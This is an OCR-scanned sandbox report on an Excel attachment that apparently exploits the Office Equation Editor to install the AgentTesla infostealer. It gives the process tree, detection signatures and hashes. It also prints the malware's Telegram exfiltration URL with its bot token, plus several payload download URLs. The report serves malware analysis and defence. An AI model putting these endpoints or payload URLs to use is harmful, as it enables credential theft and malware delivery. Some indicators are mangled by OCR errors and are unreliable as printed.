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System Behavior
Analysis Process: EXCEL.EXEPID: 2960, Parent PID: 576

General
File Activities
Registry Activities
Key Created
Key Value Created
Analysis Process: EQNEDT32.EXEPID: 2244, Parent PID: 576
General
File Activities
File Created
File Written
Registry Activities
Key Created
Analysis Process: jhghyftvgyjhjhgjhjhggfresewdxrcnvfhgfhggfrtreaebvenbnc.exePID: 2912, Parent PID: 2244
General
File Activities
File Read
Registry Activities
Key Created
Key Value Created

Analysis Process: powershell_ise.exePID: 304, Parent PID: 2912
General
File Activities
File Read
Analysis Process: dw20.exePID: 676, Parent PID: 304
General
File Activities

Disassembly
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Windows Analysis Report

Contract - Wipak Oy.xlsx

Overview
General Information Detection Signatures Classification
Sample Contract - Wipak Oy.xIsx
Name: MALICIOUS Multi AV Scanner detection for subm...
Analysis ID: 679189 Malicious sample detected (through...
MDS: d0cd4672481799. Yara detected AgentTesla
SHAL:
CECTEIIRECR Antivirus / Scanner detection for sub...
SHA256: 831518fee7137e.. ) )
Sigma detected: File Dropped By EQ...
Tags:
Antivirus detection for URL or domain
Infos: DR Qs
. Multi AV Scanner detection for dom...
5“ s (D EED

Writes to foreign memory regions

AgentTesla

r
¥

Office equation editor starts process... EI
Score: 100
Range: 0-100 Machine Learning detection for sam...
Whitelisted: false Allocates memory in foreign process...
Confidence: 100%

.NET source code contains potentia...

Process Tree

= System is w7x64

° EXCEL.EXE (PID: 2960 cmdline: “C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)
. ﬁ EQNEDT32.EXE (PID: 2244 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5:
AB87236E214F6D42A65F5DEDAC816AECS)
o [ jhghyftvgyjhjhgjhjhggfresewdxrenvfhgfhggfrireaebvenbne.exe (PID: 2912 cmdline: C:\Users\usen\AppData\Roaming\jhghyftvgyjhjhgjhjhggfresewdxrcnvfhgfhggfrtreaebve
nbnc.exe MD5: 6D370555D43F89189867FD72222C6059)
e 4 powershell_ise.exe (PID: 304 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe MD5: B3CC5F3514BF58EE55153795CF183754)
e (BT dw20.exe (PID: 676 cmdline: dw20.exe -x -s 536 MD5: FBA78261A16C65FA44145613E3669E6E)

= cleanup

Malware Configuration

Threatname: Agenttesla

"Exfil Mode": "Telegram",
"Chat id": "-624834641",
"Chat URL": "https://api.telegram.org/bot5520247480:AAE0Bq-eVV-KfON2FKSf 2riekCozVDdnus/sendDocument”

Yara Signatures

Initial Sample

Source Rule Description Author Strings

sheetl.xml INDICATOR_XML  detects AutoLoad  ditekSHen o Ox1d4:$s1: <legacyDrawing rid="
_LegacyDrawing_  documents using e Oxlfc:$s2: <oleObject progld="
AutoLoad_Docume LegacyDrawing e 0x23d:$s3: autoLoad="true"
nt
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PCAP (Network Traffic)

Source

dump.pcap

Memory Dumps

Source

00000006.00000000.1005349570.0000000000402000.0000
0040.00000400.00020000.00000000.sdmp

00000006.00000000.1005349570.0000000000402000.0000
0040.00000400.00020000.00000000.sdmp

00000006.00000000.1005349570.0000000000402000.0000
0040.00000400.00020000.00000000.sdmp

00000005.00000002.1010469856.000000000349E000.0000
0004.00000800.00020000.00000000.sdmp

00000005.00000002.1010469856.000000000349E000.0000
0004.00000800.00020000.00000000.sdmp

Unpacked PEs

Source

5.2.jhghyftvgyjhjhgjhjhggfresewdxrcnvthgfhggfrirea
ebvcnbnc.exe.34294f0.3.raw.unpack

5.2.jhghyftvgyjhjhgjhjhggfresewdxrenvfhgfhggfrtrea
ebvcnbnc.exe.34294f0.3.raw.unpack

5.2.jhghyftvgyjhjhgjhjhggfresewdxrenvfhgfhggfrtrea
ebvcnbnc.exe.34294f0.3.raw.unpack

5.2.jhghyftvgyjhjhgjhjhggfresewdxrenvfhgfhggfrtrea
ebvcnbnc.exe.34294f0.3.raw.unpack

5.2.jhghyftvgyjhjhgjhjhggfresewdxrcnvthgfhggfrirea
ebvcnbnc.exe.34294f0.3.raw.unpack

Sigma Signatures
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Rule Description Author Strings
Windows_Trojan_  unknown unknown e 0x51280:$a13: get_DnsResolver
AgentTesla_d3ac2 e 0x4f8c2:$a20: get_LastAccessed
b2f e 0x51cb5:$a27: set_InternalServerPort
® 0x4f9c9:$a33: get_Clipboard
e 0x4f9d7:$a34: get_Keyboard
* 0x50e5e:$a35: get_ShiftKeyDown
* 0x50e6f:$a36: get_AltkeyDown
* 0x4f9e4:$a37: get_Password
e 0x5057c:$a38: get_PasswordHash
e 0x516a5:$a39: get_DefaultCredentials
Rule Description Author Strings
JoeSecurity_Agent Yara detected Joe Security
Tesla_1 AgentTesla
JoeSecurity_Agent Yara detected Joe Security
Tesla_2 AgentTesla
Windows_Trojan_  unknown unknown e 0x30000:$a13: get_DnsResolver
AgentTesla_d3ac2 e 0x2e83e:$a20: get_LastAccessed
b2f e 0x3095d:$a27: set_InternalServerPort
e 0x30ca9:$a30: set_GuidMasterKey
e 0x2e945:$a33: get_Clipboard
e 0x2e953:$a34: get_Keyboard
e 0x2fc24:$a35: get_ShiftkeyDown
e 0x2fc35:$a36: get_AltKeyDown
e 0x2e960:$a37: get_Password
e 0x2f3d4:$a38: get_PasswordHash
e 0x303df:$a39: get_DefaultCredentials
JoeSecurity_Agent Yara detected Joe Security
Tesla_1 AgentTesla
JoeSecurity_Agent Yara detected Joe Security
Tesla_2 AgentTesla
Click to see the 8 entries
Rule Description Author Strings
JoeSecurity_Agent Yara detected Joe Security
Tesla_1 AgentTesla
JoeSecurity_Agent Yara detected Joe Security
Tesla_2 AgentTesla
JoeSecurity_Gene Yara detected Joe Security
ricDownloader_1  Generic
Downloader
MALWARE_Win_  AgentTeslaVv3 ditekSHen e 0x37f81:$s10: logins
AgentTeslaVv3 infostealer payload e 0x379ee:$s1l: credential
e 0x33f65:$g1: get_Clipboard
e 0x33f73:$g2: get_Keyboard
e 0x33f80:$g3: get_Password
e 0x35234:$g4: get_CtrIKeyDown
e 0x35244:$95: get_ShiftkeyDown
e 0x35255:$96: get_AltkKeyDown
Windows_Trojan_  unknown unknown e 0x35640:$a13: get_DnsResolver
AgentTesla_d3ac2 e 0x33e5e:$a20: get_LastAccessed
b2f e 0x35f9d:$a27: set_InternalServerPort
e 0x362e9:$a30: set_GuidMasterKey
e 0x33f65:$a33: get_Clipboard
e 0x33f73:$a34: get_Keyboard
e 0x35244:%$a35: get_ShiftkeyDown
e 0x35255:$a36: get_AltKeyDown
e 0x33f80:$a37: get_Password
e 0x349f4:$a38: get_PasswordHash
e 0x35alf:$a39: get_DefaultCredentials

Click to see the 14 entries
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Sigma detected: File Dropped By EQNEDT32EXE

Snort Signatures

@ No Snort rule has matched

Joe Sandbox Signatures

AV Detection

Multi AV Scanner detection for submitted file
Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Machine Learning detection for sample

Machine Learning detection for dropped file

Exploits

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Office equation editor establishes network connection

Software Vulnerabilities

Shellcode detected

Networking

Yara detected Generic Downloader

System Summary

Malicious sample detected (through community Yara rule)

Office equation editor drops PE file

Data Obfuscation

.NET source code contains potential unpacker

HIPS / PFW / Operating System Protection Evasion

Writes to foreign memory regions
Allocates memory in foreign processes

Injects a PE file into a foreign processes

Stealing of Sensitive Information

EEEEE B E

Yara detected AgentTesla
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Remote Access Functionality

Mitre Att&ck Matrix
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Behavior Graph
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Behavior Graph
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This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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Contract - Wipak Oy - Microsoft Excel

Home | Insert  Page Layout Formulas Data Review  View

General

Conditional Format _ Cell
Formatting = as Table = Styles~ |~

Number Styles

& cut Calibri S v A ===

Ea copy v R

- Format Painter f- A-
Clipboard Font
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Alignment
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:FEd =2 & gf ﬂ_l
Insert Delete Format
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Cells Editing

= @ =
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fe
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Error

Q This file type is not supported.

M 4 » M| Sheetl Sheet? Sheet3

Ready |

[EEERES

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection
Contract - Wipak Oy.xIsx 53%

Contract - Wipak Oy.xIsx 41%

Contract - Wipak Oy.xIsx 100%
Contract - Wipak Oy.xIsx 100%
Dropped Files

Source Detection
C:\Users\user\AppData\Roaming\jhghyftvgyjhjhgjhjhggfresewdxrcnvfhgfhggfrtreaebvenbnc.exe 100%
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.|IES\ZAE7RW1 100%
P\qGTGx[1].exe

Unpacked PE Files

Source Detection Scanner
6.0.powershell_ise.exe.400000.0.unpack 100% Avira
5.2.jhghyftvgyjhjhgjhjhggfresewdxrecnvfhgfhggfrireaebvenbnc.exe.ff0000.1.unpack 100% Avira
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Scanner Label Link
Virustotal Browse
ReversingLabs Document-
Office.Exploit. CVE-
2017-11882
Avira EXP/CVE-2017-
11882.Gen
Joe Sandbox ML
Scanner Label Link
Joe Sandbox ML
Joe Sandbox ML
Label Link Download
TR/Spy.Gen8 Download File

HEUR/AGEN.12
02427

Download File
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https://www.virustotal.com/gui/file/831518fee7137eb607ad0fd8b629784dd692f981f6060465079945a13dba6c4c/detection/f-831518fee7137eb607ad0fd8b629784dd692f981f6060465079945a13dba6c4c-1659692073

Domains

Source Detection Scanner Label
pkusukoharjo.com 0% Virustotal

URLs

Source Detection Scanner Label
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0 0% URL Reputation safe
http://https://pkusukoharjo.com/y 0% Avira URL Cloud safe
hitp://109.206.241.81/htdocs/zTALg.exe 19% Virustotal
hitp://109.206.241.81/htdocs/zTALg.exe 100% AviraURL Cloud ~ malware
http:/focsp.entrust.net03 0% URL Reputation safe
http://https://pkusukoharjo.com/giving/qGTGXx.exej 0% Avira URL Cloud safe
http://https://pkusukoharjo.com/giving/qGTGx.exe 0% Avira URL Cloud safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0 0% URL Reputation safe
http://https://pkusukoharjo.com/ 0% Avira URL Cloud safe
http://www.diginotar.nl/cps/pkioverheid0 0% URL Reputation safe
http://https://pkusukoharjo.com/giving/qGTGx.exejjC: 0% Avira URL Cloud safe
http:/focsp.entrust.netOD 0% URL Reputation safe
http://109.206.241.81P 0% Avira URL Cloud safe
Domains and IPs

Contacted Domains

Name IP Active Malicious Antivirus Detection
cdn.discordapp.com 162.159.129.233 true false

pkusukoharjo.com 136.243.86.20 true true e 0%, Virustotal, Browse

Contacted URLs

Name

http://109.206.241.81/htdocs/zTALg.exe

http://https://pkusukoharjo.com/giving/qGTGx.exe

http:if

Malicious Antivirus Detection

true

true

false

https://cdn.discordapp.com/attachments/1001850193580392480/1002961152617222144/seven.dll

URLs from Memory and Binaries

Name

http://crl.pkioverheid.nl/DomOvLatestCRL.crl0

http:{fhttps://pkusukoharjo.com/y

http://crl.entrust.net/serverl.crl0

Copyright Joe Security LLC 2022

Source

EQNEDT32.EXE, 00000002.00000002.99624666
4.0000000000613000.00000004.00000020.000
20000.00000000.sdmp, EQNEDT32.EXE, 00000
002.00000002.996256173.0000000000621000.
00000004.00000020.00020000.00000000.sdmp,
jhghyftvgyjhjhgjhjhggfresewdxrcnvfhgfhggfrtreaeb
venbne.exe, 00000005.00000002.1006789724
.00000000006DA000.00000004.00000020.0002
0000.00000000.sdmp

EQNEDT32.EXE, 00000002.00000002.99618524
7.0000000000586000.00000004.00000020.000
20000.00000000.sdmp

EQNEDT32.EXE, 00000002.00000002.99624666
4.0000000000613000.00000004.00000020.000
20000.00000000.sdmp, EQNEDT32.EXE, 00000
002.00000002.996256173.0000000000621000.
00000004.00000020.00020000.00000000.sdmp,
jhghyftvgyjhjhgjhjhggfresewdxrcnvfhgfhggfrtreaeb
venbnce.exe, 00000005.00000002.1006789724
.00000000006DA000.00000004.00000020.0002
0000.00000000.sdmp

e 19%, Virustotal, Browse
e Avira URL Cloud: malware

e Avira URL Cloud: safe

Malicious  Antivirus Detection

false e URL Reputation: safe
false e Avira URL Cloud: safe
false

Link

Browse

Link

Browse

Reputation
high

unknown

Reputation

unknown

unknown

high

Reputation

unknown

unknown

high
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https://www.virustotal.com/gui/url/dd8ee5bebb21f96ca369634f1c39b3fcf19c9ec3654f33d04ae55ca4dd060c41/detection/u-dd8ee5bebb21f96ca369634f1c39b3fcf19c9ec3654f33d04ae55ca4dd060c41-1640163222
https://www.virustotal.com/gui/url/396d1eb24feaef4c3a23fdf02706f38cc07d8c3ad4736841cf4e38be4538146f/detection/u-396d1eb24feaef4c3a23fdf02706f38cc07d8c3ad4736841cf4e38be4538146f-1659578517
https://www.virustotal.com/gui/url/dd8ee5bebb21f96ca369634f1c39b3fcf19c9ec3654f33d04ae55ca4dd060c41/detection/u-dd8ee5bebb21f96ca369634f1c39b3fcf19c9ec3654f33d04ae55ca4dd060c41-1640163222
https://www.virustotal.com/gui/url/396d1eb24feaef4c3a23fdf02706f38cc07d8c3ad4736841cf4e38be4538146f/detection/u-396d1eb24feaef4c3a23fdf02706f38cc07d8c3ad4736841cf4e38be4538146f-1659578517

Name

http:/focsp.entrust.net03

http://https://pkusukoharjo.com/giving/qGTGXx.exej

http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-
G2.crlo

http://https://pkusukoharjo.com/

http://www.diginotar.nl/cps/pkioverheid0

http://
https://api.telegram.org/bot5520247480:AAE0Bg-eVV-
KfON2FKSf_2riekCozVDdnus/

http://https://pkusukoharjo.com/giving/qGTGx.exejjC:

http://https://cdn.discordapp.com

http:/focsp.entrust.netOD

hitp://
schemas.xmlsoap.org/ws/2005/05/identity/claims/nam
e

http://https://secure.comodo.com/CPS0

http://109.206.241.81P

http://crl.entrust.net/2048ca.crl0

World Map of Contacted IPs
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Source

EQNEDT32.EXE, 00000002.00000002.99624666
4.0000000000613000.00000004.00000020.000
20000.00000000.sdmp, EQNEDT32.EXE, 00000
002.00000002.996256173.0000000000621000.
00000004.00000020.00020000.00000000.sdmp,
jhghyftvgyjhjhgjhjhggfresewdxrcnvfhgfhggfrtreaeb
venbnce.exe, 00000005.00000002.1006789724
.00000000006DA000.00000004.00000020.0002
0000.00000000.sdmp

dbSYXB9S.PuécL

EQNEDT32.EXE, 00000002.00000002.99624666
4.0000000000613000.00000004.00000020.000
20000.00000000.sdmp, jhghyftvgyjhjhgjhjhggfresewdx
rcnvfhgfhggfrtreaebvenbnc.exe, 00000005.00000002.1
006789724.00000000006DA000.00000004.0000
0020.00020000.00000000.sdmp

EQNEDT32.EXE, 00000002.00000002.99618524
7.0000000000586000.00000004.00000020.000
20000.00000000.sdmp

EQNEDT32.EXE, 00000002.00000002.99624666
4.0000000000613000.00000004.00000020.000
20000.00000000.sdmp, EQNEDT32.EXE, 00000
002.00000002.996256173.0000000000621000.
00000004.00000020.00020000.00000000.sdmp,
jhghyftvgyjhjhgjhjhggfresewdxrcnvfhgfhggfrtreaeb
venbnce.exe, 00000005.00000002.1006789724
.00000000006DA000.00000004.00000020.0002
0000.00000000.sdmp

jhghyftvgyjhjhgjhjhggfresewdxrcnvfhgfhggfrtreaebve
nbnc.exe, 00000005.00000002.1010469856.0
00000000349E000.00000004.00000800.000200
00.00000000.sdmp, jhghyftvgyjhjhgjhjhggfresewdxrcn
vfthgfhggfrtreaebvenbnc.exe, 00000005.000
00002.1010395589.0000000003429000.000000
04.00000800.00020000.00000000.sdmp, powe
rshell_ise.exe, 00000006.00000000.100534
9570.0000000000402000.00000040.00000400.
00020000.00000000.sdmp

EQNEDT32.EXE, 00000002.00000002.99617550
5.000000000056F000.00000004.00000020.000
20000.00000000.sdmp

jhghyftvgyjhjhgjhjhggfresewdxrcnvfhgfhggfrtreaebve
nbnc.exe, 00000005.00000002.1006963695.0
000000002401000.00000004.00000800.000200
00.00000000.sdmp

EQNEDT32.EXE, 00000002.00000002.99625617
3.0000000000621000.00000004.00000020.000
20000.00000000.sdmp, jhghyftvgyjhjhgjhjhggfresewdx
renvfhgfhggfrtreaebvenbnc.exe, 00000005.00000002.1
006789724.00000000006DA000.00000004.0000
0020.00020000.00000000.sdmp

jhghyftvgyjhjhgjhjhggfresewdxrcnvfhgfhggfrtreaebve
nbnc.exe, 00000005.00000002.1006963695.0
000000002401000.00000004.00000800.000200
00.00000000.sdmp

EQNEDT32.EXE, 00000002.00000002.99624666
4.0000000000613000.00000004.00000020.000
20000.00000000.sdmp, EQNEDT32.EXE, 00000
002.00000002.996256173.0000000000621000.
00000004.00000020.00020000.00000000.sdmp,
jhghyftvgyjhjhgjhjhggfresewdxrenvfhgfhggfrireaeb
venbne.exe, 00000005.00000002.1006789724
.00000000006DA000.00000004.00000020.0002
0000.00000000.sdmp

jhghyftvgyjhjhgjhjhggfresewdxrcnvfhgfhggfrireaebve
nbnc.exe, 00000005.00000002.1007008986.0
000000002443000.00000004.00000800.000200
00.00000000.sdmp

EQNEDT32.EXE, 00000002.00000002.99625617
3.0000000000621000.00000004.00000020.000
20000.00000000.sdmp, jhghyftvgyjhjhgjhjhggfresewdx
renvfhgfhggfrtreaebvenbnc.exe, 00000005.00000002.1
006789724.00000000006DA000.00000004.0000
0020.00020000.00000000.sdmp

Malicious

false

false

false

false

false

false

false

false

false

false

false

false

false

Antivirus Detection

e URL Reputation: safe

e Avira URL Cloud: safe

e URL Reputation: safe

e Avira URL Cloud: safe

e URL Reputation: safe

e Avira URL Cloud: safe

e URL Reputation: safe

e Avira URL Cloud: safe

Reputation

unknown

unknown

unknown

unknown

unknown

high

unknown

high

unknown

high

high

low

high
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[] No. of IPs < 25%
B 25% < No. of IPs < 50%
Bl 50% < No. of IPs < 75%
Bl 75% < No. of IPs

Public IPs
1P Domain Country Flag ASN ASN Name Malicious
162.159.129.233 cdn.discordapp.com United States = 13335 CLOUDFLARENETUS false
136.243.86.20 pkusukoharjo.com Germany ] 24940 HETZNER-ASDE true
109.206.241.81 unknown Germany = 209929 AWMLTNL false
General Information
Joe Sandbox Version: 35.0.0 Citrine
Analysis ID: 679189
Start date and time: 05/08/202211:39:58 2022-08-05 11:39:58 +02:00
Joe Sandbox Product: CloudBasic
Overall analysis duration: Oh 8m 20s
Hypervisor based Inspection enabled: false
Report type: light
Sample file name: Contract - Wipak Oy.xIsx
Cookbook file name: defaultwindowsofficecookbook.jbs
Analysis system description: Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET
4.6.2)
Number of analysed new started processes 9
analysed:
Number of new started drivers analysed: 0
Number of existing processes analysed: 0
Number of existing drivers analysed: 0
Number of injected processes analysed: 0
Technologies: e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled
Analysis Mode: default
Analysis stop reason: Timeout
Detection: MAL
Classification: mal100.troj.expl.evad.winXLSX@8/6 @2/3
EGA Information: e Successful, ratio: 100%
HDC Information: Failed
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HCA Information:

Successful, ratio: 92%
Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: Found application associated with file extension: .xIsx
Adjust boot time

Enable AMSI

Found Word or Excel or PowerPoint or XPS Viewer
Attach to Office via COM

Active ActiveX Object

Scroll down

Close Viewer

e o o o o o o o

Warnings

e Exclude process from analysis (whitelisted): dllhost.exe, svchost.exe

e TCP Packets have been reduced to 100

Excluded IPs from analysis (whitelisted): 20.189.173.20, 13.89.179.12, 104.208.16.93

Excluded domains from analysis (whitelisted): onedsblobprdcus07.centralus.cloudapp.azure.com, watson.microsoft.com, onedsblobprdwus15.westus.cloudapp.azure.com,
legacywatson.trafficmanager.net, onedsblobprdcus17.centralus.cloudapp.azure.com

e Report size getting too big, too many NtOpenKeyEx calls found.

e Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time Type Description

11:41:53 API Interceptor 134x Sleep call for process: EQNEDT32.EXE modified

11:42:01 API Interceptor 49x Sleep call for process: jhghyftvgyjhjhgjhjhggfresewdxrenvfhgfhggfrtreaebvenbnc.exe modified
11:42:07 API Interceptor 85x Sleep call for process: powershell_ise.exe modified

11:42:07 API Interceptor 105x Sleep call for process: dw20.exe modified

Joe Sandbox View / Context

IPs

@ No context

Domains

@ No context

ASNs

©@ No context

JA3 Fingerprints

@ No context

Dropped Files

@ No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IES\ZAE7TRW1P\qGTGx[1].exe v @

Process: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File Type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Copyright Joe Security LLC 2022
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Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:

SHA-512:

Malicious:
Antivirus:
Reputation:

|IE Cache URL:

Preview:

downloaded

8704

4.812551859843081

false

96:5PM1Y6CB0OCOst2AbUCAb17mF3lipDXHo2rbwCiCeQhULtgAWSMIKG TpOrQEkrGi4:SATOst2MUQIN42rSCekUL+VtvC
6D370555D43F89189867FD72222C6059

79505977A7B45050A45BC4B715B21DF8F49AA3F1
41BFOE9B141CB3541CE14CA9DE7F606FD30C20E02CE95936F41FB728BD6C2232

48A97F522BD2DDD2704093917B4E19DC48726F650FDODB496EE6D6BEE7CDD87CE089ADC8076EF1BD8D1401B100D81A50D2025AF8C061955DD740BA01056AC
EC

true
e Antivirus: Joe Sandbox ML, Detection: 100%
low

http://https://pkusukoharjo.com/giving/qGTGx.exe

..L.IThis program cannot be run in DOS mode....$....... PE..L.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\84E7CB3E.png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office l4\EXCEL.EXE

PNG image data, 410 x 243, 8-bit/color RGB, non-interlaced

dropped

8217

7.81503617702935

false
192:kIs9+/gQIIKX6BrizeHQbj4D24m1hcfxCEKSPALL78koM:kls9+NIIKX6BhSHOj4DXxm1CfEEKSPA/T
A9CASEE503B10E01BE979F0843A1F65F

52E1FFFBDA428BD216AE62586E39AC1C20FC25C5
653F8662E65E224B05605B256BB4F6DESF29F2B155DC4477635B8E43024503E4

07C64CAAFF76AEF6A76491184E1823C2FD2CBD1536C3D771B14CC887B7853074F6AC93EDBB1C58F38893B95D03FF2E17E30E66FFIF3334441788728EA1F8272F

false

low

PNG....... IHDR............. 0.G....gAMA......a..... CHRM..Z&......c....... U0..." 5P Q<. PHYS 0.d...bKGD.............. IDATX..yX...9....pk.U{...Z7.)......|.n?.Z
fmm...ZE.UqC.@.T6..E.}../.B...l....e.1d!l.....si23...;s..;.L..%0.....1cF....Zb.YYY...].z./.. X.......{.G#...].v.3. Ad...........2..Dd). .K...c.Z!.U....DT). .MX.5jG...NF.L....3..+...
{.G..@H.}.2 ..2.*.. .A.3.2y....G..@ .=R.Pgt...[. .A.t4-..G...f.. #....2Kg..%.D...J......)J...5I<.p8.+..%....GS.>[Z.-T.M.;._. . ey KiSES.& ] Uz i e

N KGBALP.L S HC) L Z AL WL BN &GSV X- &N+ %. Y ne&5z.r.a<. #]...c..D.r.|=....... (Whoooomod y..?]..G.. FLM A LD (CALV.IW.Q&.vT70...2.KVX"g.Z...Q.
[6...Q<.g..#x.\..y*; KE;p.5 e j7_.(.2ZS...9.5.:...2.@.u.&..B.d.g.Q..;]?.\...,z.Z..ut& ... H...L T.E#..1.";0.3(-...F..+{.. .&d......

C:\Users\user\AppData\Local\Microsoft\Windows\WER\ReportArchive\AppCrash_powershell_ise.e_21ed43beb8f55ccf28a91ce407abfb7d5b6e611_

02d11d32\Report.wer

Process: C:\Windows\Microsoft. NET\Framework\v2.0.50727\dw20.exe
File Type: data

Category: dropped

Size (bytes): 65536

Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

0.6399755325948338

false
96:6BCfkZIGUWSs+XLUK5QXIW2zgBmBPUPZApIVY8rHVMpEWi7uyPVEVcRFIxdc79M8w:6kiv4agz5iyXg9uQxIAdWdSIy
17415515ADOE30C922DD9F6DEE28CF59

C7F953A80317699B00D7072E9C5973D7BD7A6199
8F9E3D9197B50DFAE8987F1ED7D2EDECAF2D284B5A3A5F646E861EB3ADEF4272

D91195B73ED8667F3AB6DD3D40F1CD1C4772E7022CDEBIF5C5A471EB3212A2C227DD907FC3082E9CDA4DES5943DEF520A448285957BEA20E4BE3D92FD5C3CC
BC

false
low

V.ers.io.n=1...EventTyp.e=CLR.20.r3..EventTim.e=13304198527574953.2....Re.p.ortType=2..C.onsent=1..UploadT.im.e.
=1.3.3.0.4.1.9.85.3.3.7.2.1.3.3.2.3.....R.e.p.o.rtld.e.ntifier=4.e4.0.dd59.-14ee.-11le.d.-a6.2.0.-.e.cf4bb.b5915b..WOW.6.4=1..R.es.p.o.ns.e..B.
u.ck.etld=15521756.75...Res.p.o.ns.e.BucketTab.le=504351750...Res.p.o.ns.e.typ.e=4..S.ig.[0].Name=P.ro.blem. Signat
ur.e..0.1....S.i.g.[.0]..V.alue=p.ow.e.rs.hell_.is.e..exe...ZSSig[1l].Nam.e=P.roblem. S.ignature. .0.2..8S.ig./[1l].V.alue=0..0..0..0...Sig.
[2.]..N.am.e.=.P.ro.b.lem. .Sig.nature..03..5S.ig.[2].V.alue=6.2.d.e5493...S.i9.[3]...N.ame=P.ro.b.lem. Signature..0.4..S.ig.[3].V.alue.
=Sy.s.tem...S.ig.[4]
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C:\Users\user\AppData\Local\Temp\WER1334.tmp.WERInternalMetadata.xml

Process: C:\Windows\Microsoft. NET\Framework\v2.0.50727\dw20.exe

File Type: XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category: dropped

Size (bytes): 2628

Entropy (8bit):  3.6609345877607806

Encrypted: false

SSDEEP: 48:yeRipPp6uhzrkG/wUBGwWw7VxpAFgYkbkiQG5z08ewLK/KDtHwW+PjsMS+Mb6x24SQ:Shz4tU607VxBt330b83jt3

MDS5: 6BOC7E04A7A8FC222E8CDBAE6G2FC4423

SHAL: E2127ABC15302B905312214B336FC528AB27A722

SHA-256: 65E62AD5061F3D8AF644696AAE22C80F608357A3CBB303D3EFOAESC376E408E3

SHA-512: F1BC810A00F079F86DB82E72E0724CC54B1C024785C884937B86209898952BCBA705D8DA6B07701F9C7CCCDOFE30D1BC3E0506321036DDAELCC14C5F46E7EE
F

Malicious: false

Reputation: low

Preview: .<.?x.m.l .v.ers.io.n="1.0" enc.o.ding="UTF.-16."?2>..<W.E.RR.ep.ortMetadata>...<0.SV.ers.io.nlnformation>.....<W.in.d.

o.w.s.N.T.V.er.s.io.n.>.6..1.</W.i.n.d.ow.s.N.T.V.e.r.s.i.o.n.> .<.B.u.i..d.>.7.6.0.1. .S.err.vi.c.e. .P.a.ck. .1.</B.u.ild.>. <.P.ro.d.u.c.t>(0.x3.0.)... .W.
in.d.ow.s. .7. .P.rofess.ional</Pro.duct>....<Ed.ition>P.rofess.ional</E.d.ition>....<B.u.ildString>76.01.23.6.7.7.am.d.6.4f
re..w.in7.s.p.l._.1d.r.1.7.0.2.0.9.-.0.6.0.0.<./.B.u.ild.S.trin.g.>......<R.e.w.is.i.o.n>113.0.</R.ev.is.ion>....<Flav.or>M.u.ltipr.o.ces.s.o.r. .Fre.e.
</F.lav.or>....<Architecture>X6.4.</Architecture>.....<LC..D.>10.33.</LC.ID>....</0.SV.ers.io.n.lnformation>....<P.ro.b.
l.e.m.S.i.g.n.a.t.u.

C:\Users\user\AppData\Roaming\jhghyftvgyjhjhgjhjhggfresewdxrcnvfhgfhggfrtreaebvcnbnc.exe v@

Process: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category: dropped

Size (bytes): 8704

Entropy (8bit):  4.812551859843081

Encrypted: false

SSDEEP: 96:5PM1Y6CBOCOst2AbUCAb17mF3lIpDXHo2rbwCiCeQhULtgAWsMIKGTpIrQEkrGi4:SATOst2MUQIN42rSCekUL+VtvC

MD5: 6D370555D43F89189867FD72222C6059

SHA1L: 79505977A7B45050A45BC4B715B21DF8F49AA3F1

SHA-256: 41BFOE9B141CB3541CE14CA9DE7F606FD30C20E02CE95936F41FB728BD6C2232

SHA-512: 48A97F522BD2DDD2704093917B4E19DC48726F650FDODB496EE6D6BEE7CDD87CE089ADC8076EF1BD8D1401B100D81A50D2025AF8C061955DD740BA01056AC
EC

Malicious: true

Antivirus: e Antivirus: Joe Sandbox ML, Detection: 100%

Preview: MZ.oiiiiiiiiiies @ e 1..L.IThis program cannot be run in DOS mode....$....... PE.L.cc.bueiiiiiiiiee T @.co @ e

. Z(%.

C:\Users\user\Desktop\~$Contract - Wipak Oy.xlsx @

Process: C:\Program Files\Microsoft Office\Office l4\EXCEL.EXE
File Type: data

Category: dropped

Size (bytes): 165

Entropy (8bit):  1.4377382811115937

Encrypted: false

SSDEEP: 3.vZ/IFFDJIw2fV.vBFFGS

MD5: 797869BB881CFBCDAC2064F92B26E46F

SHAL: 61C1B8FBF505956A77E9A79CE74EF5E281B01F4B

SHA-256: D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0OB081F185

SHA-512: 1B8350E1500F969107754045EB84EA9F72B53498B1DC05911D6C7E771316C632EA750FBCEBAD3A82D664E3C65CC5251D0E4A21F750911AESDC2FC3653E49F58
Malicious: true

Preview: .user JALbus.

Static File Info
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General

File type: Microsoft Excel 2007+

Entropy (8bit):  7.99738280724659

